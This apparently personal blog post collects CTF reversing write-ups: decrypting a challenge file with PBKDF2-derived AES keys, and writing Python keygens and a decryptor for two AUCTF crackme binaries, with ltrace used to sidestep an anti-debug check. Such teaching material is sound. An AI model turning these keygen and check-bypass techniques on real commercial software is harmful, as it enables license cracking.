So, now we’re putting our discovered encryption information to the test. This challenge gives us a sample encrypted file we need to decrypt to get our flag. Using the password we found (the previous flag – but still Base64-encoded), the same hash, salt and number of iterations, we first derive a key. Fortunately we can do this in CyberChef rather than writing python code, but it takes three steps.

First, let’s remember that before AES_Encrypt is called, the program hashes the password with SHA256. 64 rounds is the default:

This SHA256 is the hex passphrase used for derivation. Next we need to use it, the salt and number of iterations to derive our AES key. But let’s also recall the following code:

((SymmetricAlgorithm)val).set_Key(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_KeySize() / 8));
				((SymmetricAlgorithm)val).set_IV(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_BlockSize() / 8));

Noting that the key size from earlier is 256 and the block size is 128, this code shows that in order to get the key and the IV, we need to derive 256 + 128 = 384 bits, AKA 96 bytes. This is because of how the DeriveBytes function works. Every time it is called, more bytes are pulled from the sequence. So the second use of DeriveBytes shows us how to get our IV. Therefore, we use the CyberChef operation Derive PBKDF2 Key (PBKDF2 and RFC2898 are the same thing) and set the key size to 384.

We paste in the SHA256 hash, add the number of iterations, leave the hashing algorithm and the default SHA1, and add the salt. In our output (which is in hex) the first 64 bytes AKA 256 bits are our key, and the last 32 bytes or 128 bits are the IV. So finally, we do the AES Decrypt operation on our encrypted file, using our key and IV, to get the flag:

And that’s the challenge done! Note, it is possible to do this all in one CyberChef window by saving component pieces in Registers, but it’s just harder to follow.

I wanted to do this last problem in CyberChef to restrict myself to REMnux, but CryptoTester is a much better tool for this specific problem, since it was designed to aid an analyst with decrypting ransomware.

CryptoTester allows you to do all of the decryption in one shot rather than deriving the key and decrypting in different windows. I inserted the key (the base64-encoded flag from last challenge), specified one hash round of SHA256, the salt, derivation function and number of rounds. CryptoTester derived a key and IV, Then I selected the AES algorithm and hit “Decrypt.” CryptoTester outputs the decrypted file in hex, but if you highlight the bytes, the ASCII shows in the bottom corner. Flag found!

And that’s all of the challenges! This was a good warmup to get me thinking about FLARE-ON 8, which I will definitely be studying for and attempting in full this year. Thanks for reading.

AUCTF Reversing Writeups

I thought it was time for a reversing writeup involving a little Python and Cutter (radare2 GUI) legwork; so I picked 2 binaries I did during AUCTF 2 weeks ago. I think you can still get the binaries from the site.

1. Sora

A nice little Kingdom Hearts reference to start us off. This binary was pretty simple; it asks for a key as input, mashes the key up in an encrypt function, and compares it to a ‘secret.’

It’s good practice for making keygens, or really easy if you have a template and decompiler. Let’s start by analyzing the main function:

Decompiler View (love that cutter uses the Ghidra decompiler).

So as you can see, we want to get to the print_flag function. Thus we want a return value from the encrypt function that isn’t zero.

Let’s take a closer look at encrypt in the decompiler:

Looks kind of nasty. We have our input string arg1, this thing obj.secret, a lot of arithmetic transformation, and 2 possible return values. There’s also variable var_18, which is the iterator. Var_18 keeps incrementing, but as we can see, if it makes it past uVar1, which is the length of obj.secret, we get a return 1 (which we want).

Let’s examine the break condition:

We don’t want to break out of the loop because that causes a return 0. It’s a little hard to read, so let’s break it into pieces (or if you follow the complicated arithmetic, feel free to skip to The Secret):

(char *)(arg1) – this is the first character of our input string

(char *)(arg1 + (int32_t)var_18h) – this is a character in our string chosen by the iterator var_18h; if our string is “ABCD” and var_18h is 2, the current value of this expression is “C”.

(char *)(arg1 + (int32_t)var_18h) * 8 + 0x13) % 0x3d + 0x41 – the character in our input string gets multiplied by 8, that product gets added to 0x13, the result modulo’d by 0x3d and that result added to 0x41.

(int32_t)*(char *)(arg1 + (int32_t)var_18h) * 8 + 0x13) % 0x3d + 0x41 != (int32_t)*(char *)(int32_t)var_18h + _obj.secret))

The statement above is the full expression. The character in our input string is transformed by those operations and compared to the character at the same position in the secret. If the two do not match on any character, we break the loop and fail.

Sorry if all those steps convoluted the problem, but I think it’s good to write for beginners.

The Secret

This secret’s pretty easy to find: switch to the disassembly and double click on the use of _obj.secret:

So we have the secret; it’s “aQLpavpKQcCVpfcg”. We need a string, that when mangled in the way described, matches this secret. So let’s make a keygen.

The Keygen

I don’t know how other people make keygens, but I usually use a while loop and make an alphabet, input the secret, and have an empty string that becomes the key. We’ll iterate through the alphabet, mangle each character according to the algorithm, and check to see if it matches the current character in the secret. If it does, we add it as an element in the key, and keep going until our key is the same length as the secret.

Since sora is an interactive binary, I’m gonna assume that only printable characters can be inputted. So I used the string.printable constant from the string module.

Okay, enough teasing; here’s the code:

#!/usr/bin/python
import string

alphabet = string.printable
ciphertext = "aQLpavpKQcCVpfcg"
decrypted = ""
i=0
while True:
        if (len(ciphertext)<1):
                break
        x = ord(alphabet[i]) #ord turns the char into a number, then we mangle it
        x*=8
        x+=0x13
        x%=0x3d
        x+=0x41
        if (chr(x)==ciphertext[0]): #don't forget to turn the number back into a char
                decrypted+=alphabet[i] #add the matched char to the key
                ciphertext = ciphertext[1:] #I remove the front char from the ciphertext to increment 
        i+=1
        if (i>=len(alphabet)):
                i=0
print(decrypted)

So there it is. I prefer to remove the first character of the ciphertext with string slicing (string[1:]) each time a match is found, so I don’t have to iterate both the alphabet and the ciphertext.

When we run our keygen sorakey.py, it spits out a key pretty much immediately, and we can test our key against the sora binary:

The text we get back from sora means the key was accepted! And it works on the server; I’ve tested. So that’s one challenge down 🙂

2. Don’t Break Me

The next challenge is similar but a bit more involved.

It also looks for a key to validate. I know what you’re thinking: Are those hex bytes the key? Sadly, no. But they do make a cool message:

So if we examine the main function for dont_break_me, we see that there’s more going on than last time:

So in brief, our input is scanned into acStack8224, stripped of its newline, encrypted and then compared to the result of get_string. This function takes a pointer to arg_8h and fills its buffer with the secret. But if we look at get_string, the secret string is built at runtime and we can’t see it in a disassembler:

There’s a debugger check too, so if we debug it we’ll have to patch some jumps. Right? Well, fortunately there’s a way around it, and that way is called ltrace. ltrace runs binaries and intercepts calls to imported libraries; in this case, the output of strcmp is especially useful to us:

It might be hard to read, but I input “test”, it’s mangled into “VAEV” and compared with the string “SASRRWSXBIEBCMPX”. That’s our ciphertext. So ltrace saved us a lot of time!

2 Roads: Encrypt or Decrypt?

Finding the ciphertext was the easy part. Now we have to examine the encrypt function to see how input is mangled. But before we do that, a little Easter egg from the challenge creators. They included a decrypt function! It’s never referenced/used by the code, so it really is just extra. What we were going to do was make a keygen to find the winning combo, but we could just take the ciphertext and rewrite decrypt in Python. We’ll do that at the end.

You’ll see that the while loop in encrypt looks pretty similar to sora. The iterator var_ch increments up till the length of our input string. Characters in our input string are transformed. This time, instead of checking against the character in another string, each mangled character is just appended to an output string (iVar3). But how is it mangled?

Keygen Against the Ciphertext

One complicating factor is that encrypt uses arguments passed in from main (see the use of the highlighted arg_10h and also arg_ch:

We need to go back to main to find out what values are passed:

So, arg_ch is 0x11 and arg_10h is 0xC. Now can substitute these values into the keygen.
Let’s redo our keygen from sora and change the arithmetic transformations:

#!/usr/bin/python
import string

alphabet = string.printable
ciphertext = "SASRRWSXBIEBCMPX"
decrypted = ""
i=0
while True:
        if (len(ciphertext)<1):
                break
        x = ord(alphabet[i]) # changes start here
        x-=0x41
        x*=0x11 # this was arg_Ch
        x+=0xc # this was arg_10h
        x=x+int(x/0x1a)*(-0x1a)+0x41 # changes end here
        if (chr(x)==ciphertext[0]):
                decrypted+=alphabet[i]
                ciphertext = ciphertext[1:]
        i+=1
        if (i>=len(alphabet)):
                i=0
print(decrypted)

And see if we get our key!

Well, that’s not the prettiest key, but it works. The thing about a keygen is that multiple values may be accepted. You can constrain the value to just letters or numbers or any smaller set by changing the alphabet you use, but keep in mind there may not be a key in those constraints. But anyways, let’s try the other route; re-implementing decrypt function in python.

Decrypt the Ciphertext

When we re-examine decrypt, one additional call that was not in encrypt stands out (see the highlighting):

We see that arg_ch is passed into this new function called inverse, and the result (iVar3) is used in the arithmetic transformation. So in order to re-implement decrypt, we’ll have to re-implement inverse(arg_ch).

I honestly have no idea why it’s called an inverse function and didn’t want to spend a ton of time on math. But regardless, this function processes arg_ch, which is the value 0x11. Once all the pieces are put together, it looks like this:

The Decryptor

#!/usr/bin/python

secret = "SASRRWSXBIEBCMPX"
decrypted = ""
def invert(x):
        i=0
        j=0
        while (j<0x1a):
                if ((x*j)%0x1a==1):
                        i = j
                j+=1
        return i

for i in secret:
        y = ord(i)
        y+=0x41
        y-=0xc
        y*=invert(0x11)
        intermediate = y+int(y/0x1a)*(-0x1a)+0x41
        decrypted+=chr(intermediate)
print (decrypted)

It’s a shotgun script for sure, but simple enough. Let’s see what happens when we decrypt the secret with our script decrypt.py:

Ooh and that’s a much more satisfying key, IKILLWITHMYHEART. And, you probably guessed it: if we constrain our keygen to using the alphabet string.ascii_uppercase, we’ll get this key generated 🙂

Well that’s it! A bit of a long blog post for 2 fairly simple rev challenges, but I’m just happy to be posting again. I’ve been doing a lot of forensics lately, so I’ll likely be posting rev and malware for the next couple of weeks. Thanks for reading!